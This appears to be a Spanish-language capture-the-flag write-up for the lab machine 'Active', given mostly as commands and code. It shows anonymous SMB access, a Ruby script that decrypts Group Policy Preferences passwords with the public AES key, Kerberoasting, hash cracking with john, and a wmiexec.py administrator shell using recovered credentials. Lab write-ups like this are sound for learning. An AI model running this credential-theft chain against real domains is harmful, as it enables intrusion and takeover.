Active

smbclient //10.10.10.100/Replication -N

Para descargar una carpeta de forma recursiva en smb:

smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *

El archivo groups.xml

Suele contener credenciales

active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups

Esta contraseña encriptada se conoce como una contraseña de preferencias de política de grupo (GPP). Microsoft usó una clave simétrica para encriptar estas contraseñas, y la clave fue revelada públicamente.

#!/usr/bin/ruby
require 'rubygems'
require 'openssl'
require 'base64'

unless ARGV.length == 1
  puts "Usage: #{File.basename($0)}: encrypted_data"
  exit
end

encrypted_data = ARGV[0]

#encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)

key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') ## UNICODE conversion

return pass
end

blah = decrypt(encrypted_data)
puts blah

Luego hacemos kerberoasting con las creds obtenidas:

GetUserSPNs.py 'active.htb/SVC_TGS:GPPstillStandingStrong2k18' -dc-ip 10.10.10.100 -request

Se obtiene el hash del administrador y se rompe por fuerza bruta

john -w=/usr/share/wordlists/rockyou.txt hash

No podemos conectarnos con evil-winrm, pero netexec nos tira pwned:

netexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' -d active.htb

Asi que

wmiexec.py 'Administrator:Ticketmaster1968@10.10.10.100'